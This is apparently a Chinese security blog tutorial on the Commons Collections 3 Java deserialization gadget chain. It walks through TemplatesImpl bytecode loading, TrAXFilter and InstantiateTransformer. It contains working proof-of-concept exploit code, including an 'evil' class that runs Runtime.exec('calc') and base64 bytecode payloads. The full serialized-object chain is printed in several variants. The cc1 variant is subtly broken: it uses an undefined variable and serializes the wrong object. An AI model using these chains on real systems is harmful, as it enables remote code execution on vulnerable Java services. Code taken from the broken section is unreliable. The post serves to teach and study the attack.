Java安全之CommonsCollections3链

前言
动态类加载机制
TemplatesImpl类加载实现任意代码执行
cc1+TemplatesImpl
cc6+TemplatesImpl
InstantiateTransformer
TrAXFilter
完整POC

前言

CC3这条链比较特殊，和CC1与CC6这两条链是直接在链的代码中执行任意代码相比，CC3是通过动态类加载机制来实现自动执行恶意类的代码的。因此需要先学习一下 Java 动态类加载机制

动态类加载机制

Java 是运行在 Java 的虚拟机(JVM)中的，但是它是如何运行在JVM中了呢？我们在IDE中编写的 Java 源代码被编译器编译成 .class 的字节码文件。然后由我们得由类加载器负责将这些 class 文件给加载到 JVM 中去执行。JVM提供了三层类加载器

Bootstrap classLoader：启动类加载器，主要负责加载核心的类库(java.lang.*等)，构造 ExtClassLoader 和 APPClassLoader。

ExtClassLoader：拓展类加载器，主要负责加载 JAVA_HOME/lib/ext 目录下的一些扩展的 jar。

AppClassLoader：应用程序类加载器，主要负责加载应用程序的主函数类

加载类就是指从编译好的字节码.class文件（所有能被恢复成一个类，并且能在 JVM 虚拟机中加载的字节序列）中加载类，不管是远程服务器上的字节码文件还是本地的字节码文件或者 jar 包。

首先调用 ClassLoader 类中的 loadClass 方法，从已加载的类缓存、父加载器等位置寻找类（这里实际上是双亲委派机制），在前面没有找到的情况下，就会交给ClassLoader类中 findClass方法；然后findClass方法根据基础路径指定的方式来加载类的字节码，可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码，然后将字节码交给 defineClass

双亲委派机制

当一个Hello.class这样的文件要被加载时，不考虑我们自定义类加载器。首先会在 AppClassLoader 中检查是否加载过，如果有那就无需再加载了。如果没有，那么会拿到父加载器，然后调用父加载器的 loadClass 方法。父类中同理也会先检查自己是否已经加载过，如果没有再往上。注意这个类似递归的过程，直到到达 Bootstrap ClassLoader 之前，都是在检查是否加载过，并不会选择自己去加载。直到 Bootstrap ClassLoader ，已经没有父加载器了，这时候开始考虑自己是否能加载了，如果自己无法加载，会下沉到子加载器去加载，一直到最底层，如果没有任何加载器能加载，就会抛出 ClassNotFoundException。

优势：

沙箱安全机制：比如自己写的 String.class 不被加载，防止核心类被随意篡改

避免类的重复加载：当父类加载器已经加载了该类的时候就不需要子类加载器加载了

可以见得真正核心的部分其实是 defineClass ，他决定了如何将一段字节流转变成一个 Java 类，Java 默认的 ClassLoader#defineClass 是一个 native方法（Java调用非Java代码的接口），逻辑在 JVM 的C语言代码中。

注意一点，在 defineClass() 被调用的时候，类对象是不会被初始化的，只有这个对象显式地调用其构造函数，初始化代码才能被执行。而且，即使我们将初始化代码放在类的 static 块中，在 defineClass() 时也无法被直接调用到。所以，如果我们要使用 defineClass() 在目标机器上执行任意代码，需要想办法调用构造函数 newInstance()

又因为ClassLoader#defineClass这个方法是受保护的，无法直接在外部访问，需要使用反射的知识进行调用

import java.lang.reflect.Method;
import java.util.Base64;
 
public class HelloDefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
        hello.newInstance();
    }
}

运行后输出Hello World

综上所述，既然是我们想通过加载类来实现任意代码执行，所以就要找到一个重写了 defineClass() 方法的类，它的链上的某个类里面要调用了 newInstance()方法，才能实现任意代码执行

TemplatesImpl类加载实现任意代码执行

在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader，而在这个类中重写了defineClass方法，而且这个方法并没有显式地声明定义域，也就是说它是一种默认的类型，也就是default类型的，而default类型的是可以被类外部调用的

static final class TransletClassLoader extends ClassLoader {
    // ...
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

因为TransletClassLoader是内部类，所以需要找到TemplatesImpl类中哪个方法调用了它，里面就有defineTransletClasses()方法，但它是一个private方法，并且在这里可以看到通过for循环，依次加载字节码_bytecodes中的内容，然后赋值给Class数组_class

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);  // <--此处调用
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    // ...
}

继续找哪里调用了defineTransletClasses()方法，就有getTransletInstance()方法，可以看到将字节码加载进来之后，会执行_class[_transletIndex].newInstance()，这里就会实例化类，执行任意代码了

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();  // <--此处调用

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setOverrideDefaultParser(_overrideDefaultParser);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

它也是private方法继续找哪里调用了getTransletInstance()方法，就有newTransformer()方法，终于找到了可以直接调用的public方法

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);  // <--此处调用

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

这样调用链就出来了

1	TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

然后还需要设置好TemplatesImpl对象的属性保证每步被正常调用到，因为都是私有属性，所以采用反射机制设置。

_bytecodes 是由字节码组成的数组；
在defineTransletClasses()方法中if会判断传入的字节码的父类要是ABSTRACT_TRANSLET
也就是需要继承这个包com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
所以我们还得构造一个特殊的类，用这个类生成字节码

_name 可以是任意字符串，只要不为 null 即可；

_tfactory 需要是一个TransformerFactoryImpl 对象；
因为TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap()
如果是null会出错

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
        throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    public evil() throws Exception{
        super();
        Runtime.getRuntime().exec("calc");
    }
}

编译这个类得到字节码后就可以写一个简单的手动执行的POC了

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class defineclass {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "ph0ebus");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}

cc1+TemplatesImpl

也就是用InvokerTransformer来调用newTransformer这个方法

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

import java.lang.reflect.Field;
import java.util.Base64;

public class CommonsCollections3_1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "ph0ebus");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer [] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer",null,null)};
        Transformer transformersChain = new ChainedTransformer(transformers);
        
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        System.out.println("对象序列化成功！");
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
        System.out.println("对象反序列化成功！");
    }
}

这里还能写成TransformedMap版的cc1链，甚至于写成更通用的cc6链

cc6+TemplatesImpl

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

import java.lang.reflect.Field;
import java.util.Base64;

public class CommonsCollections_3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "ph0ebus");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null)};
        Transformer transformersChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformersChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        setFieldValue(transformersChain, "iTransformers", transformers);

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

InstantiateTransformer

下面到了本文主角cc3链，即使前面已经有了强大的cc6链，但现在很多过滤器都会过滤掉InvokerTransformer，这样之前的链子就打不通咯，所以得找个类代替它来绕过过滤，这个类就是org.apache.commons.collections.functors.InstantiateTransformer

InstantiateTransformer类也是实现了Transformer接口的一个类

public class InstantiateTransformer implements Transformer, Serializable {
    public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        } catch (NoSuchMethodException var6) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException var7) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
        } catch (IllegalAccessException var8) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
        } catch (InvocationTargetException var9) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
        }
    }
}

可以看出它可以调用指定类得构造方法，也就是找到一个构造方法调用TransformerImpl类中的newTransformer()方法的类

TrAXFilter

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter这个类的构造方法中，就正好调用了(TransformerImpl) templates.newTransformer()，且前面的Templates对象可控，

public class TrAXFilter extends XMLFilterImpl {
    private Templates              _templates;
    private TransformerImpl        _transformer;
    private TransformerHandlerImpl _transformerHandler;
    private boolean _overrideDefaultParser;

    public TrAXFilter(Templates templates) throws TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();  // <--此处调用
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _overrideDefaultParser = _transformer.overrideDefaultParser();
    }
}

这样就能利用InstantiateTransformer的transform()来调用到TrAXFilter的构造方法，那么它就会自动调用templates.newTransformer()，就可以加载我们放在TemplatesImpl里面的字节码

所以Transformer数组就可以改写成

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
 };

完整POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

import java.lang.reflect.Field;
import java.util.Base64;

public class CommonsCollections_3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "ph0ebus");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
        };
        Transformer transformersChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformersChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        setFieldValue(transformersChain, "iTransformers", transformers);

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

参考链接：

通俗易懂的双亲委派机制

CommonsCollections3利用链分析 | JohnFrod

Java篇Commons Collections 3 | Arsene.Tang

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Author: ph0ebus

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